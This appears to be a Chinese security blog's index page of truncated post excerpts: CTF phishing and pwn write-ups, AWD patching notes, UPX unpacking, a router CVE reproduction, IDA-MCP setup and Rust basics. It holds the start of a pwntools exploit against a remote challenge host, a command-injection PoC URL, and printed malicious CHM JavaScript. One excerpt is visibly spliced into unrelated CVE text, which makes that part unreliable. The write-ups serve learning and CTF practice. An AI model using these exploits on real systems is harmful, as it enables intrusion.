无标题
这里 此时两个 堆块地址都指向了一个main——arena地址
高校网络安全管理运维赛
Phishing 一开始就看到一个奇怪的程序,不知道什么作用,先留着 根据题目描述和文件结构,是一个针对游戏用户的钓鱼攻击: 攻击者诱导用户打开 helpme.chm 帮助文件,然后 CHM文件执行恶意代码,最后 释放DLL文件进行劫持攻击 1hh.exe -decompile extracted helpme.chm 先解压这个chm文件,然后会得到一个html文件test.html文件包含恶意JavaScript代码: 123456789101112<head><script type="text/javascript">function command() { var command = "echo AAAAABogAAAAUgABAAEAAAAABgVLUA...(Base64数据)... > reversed.zip";}</script></head><body onload="command()"><h1&...
newstar week3
pwnfmt and canary先用格式化字符串漏洞泄露canary和栈上的libc_start_main 然后end退出后直接打ret2libc即可 1234567891011121314151617181920212223242526272829303132333435363738from pwn import *from LibcSearcher import *elf = ELF('./fmt')context.log_level = 'debug'context.arch = 'amd64'libc =ELF('./libc.so.6')plt=elf.plt['puts']got=elf.got['puts']ret = 0x000000000040101ap = remote('39.106.48.123', 45277)#p = process(b'./fmt')payload = b'%11$...
pwn-awd知识库
PWN部分关于 pwn 的修复这个东西我们这里考虑两种场景,第一个给了源码时的修复,第二个是没给源码时的修复 有源码时的基础修复¶先考虑有源码时的修复,这个其实很好操作,主要是熟练 gcc g++ 的各种指令,还有就是要能快速发现漏洞点,由于 pwn 题中经常是溢出类题型和 UAF 类题型偏多,所以要分别考虑这两种情况,先看有码的溢出类题型(要非常注意 strcat strcpy 等会造成 off by null 的函数 12345int main(){ char buf[24]; scanf("%s", buf); return 0;} 像这种那肯定是改 %s 为 %23s,不能有更长的了,或者适当增扩 buf 的大小,而且它方法也是类似的,有源码的情况下那可太好修复了 无源码时的程序修改¶那么无源码应该怎么修复?这似乎就是 pwn 里面的 patch 了 先列出来几张表,下面是 jmp 的相关指令,对于负数等情况需要用到 指令 机器码 指令 机器码 jmp EB XX jz 74 XX je 74 X...
常见压缩壳脱壳分析
常见压缩壳脱壳分析1.UPX壳文件下载ELF 先分析一下文件,发现有UPX壳。elf ,该特性允许经过身份验证的用户执行操作系统命令。在该版本固件中同时存在着一个不安全认证漏洞(CVE-2020-24580),在登录界面输入任意密码就可以成功访问路由器界面。通过组合这两个漏洞可以实现未授权的任意代码执行 复现所需要的固件下载链接:下载 第一次复现漏洞,这是路由器的官方页面 下载完固件后打开ubuntu用binwalk来提取文件 1binwalk -Me vuln.bin # 我这里是固件重命名了看着方便 解压之后可以看到是jffs2文件系统(日志闪存文件系统) POC: http://DeviceIP/cgi-bin/execute_cmd.cgi?timestamp = 1589333279490&cmd = whami http://IP/cgi-bin/execute_cm...
IDA-MCP与Cursor使用
IDA-MCP与Cursor使用准备工具:Cursor,IDA9.1,IDA内置python,Cursor续杯工具 客户端配置:下载cursor后配置network 配置这里的tools 服务端配置:IDA-MCP插件下载 https://github.com/mrexodia/ida-pro-mcp 我这里下载的是增强版本,将这个插件的MCP-plugin.py文件放入ida9.1的插件文件目录下 然后根据官网的提示安装: 1pip install https://github.com/mrexodia/ida-pro-mcp/archive/refs/heads/main.zip 接着安装: 1ida-pro-mcp --install 下载后使用这个命令来获取服务端的配置文件,将这个配置文件放入刚才下好的cursor的tools下的MCP的json文件中 这里其实已经自动识别了,无需配置文件 由于每次使用工具会询问是否使用工具,所以这里直接设置,自动执行 进入ida发现可以加载插件,点击使用即可,下面给出服务启动的地址视为配置成功
rust语言学习
Rust如果要声明变量,需要使用 let 关键字。例如: 1let a = 123; 在这句声明语句之后,以下三行代码都是被禁止的: 123a = "abc";a = 4.56; a = 456; 第一行的错误在于当声明 a 是 123 以后,a 就被确定为整型数字,不能把字符串类型的值赋给它。 第二行的错误在于自动转换数字精度有损失,Rust 语言不允许精度有损失的自动数据类型转换。 第三行的错误在于 a 不是个可变变量。 常量与不可变变量的区别 既然不可变变量是不可变的,那不就是常量吗?为什么叫变量? 变量和常量还是有区别的。在 Rust 中,以下程序是合法的: 12let a = 123; // 可以编译,但可能有警告,因为该变量没有被使用let a = 456; 但是如果 a 是常量就不合法: 12const a: i32 = 123;let a = 456; 变量的值可以”重新绑定”,但在”重新绑定”以前不能私自被改变,这样可以确保在每一次”绑定”之后的区域里编译器可以充分的推理程序逻辑。 虽然 Rust 有自动判断类型的功能,但有些情况...




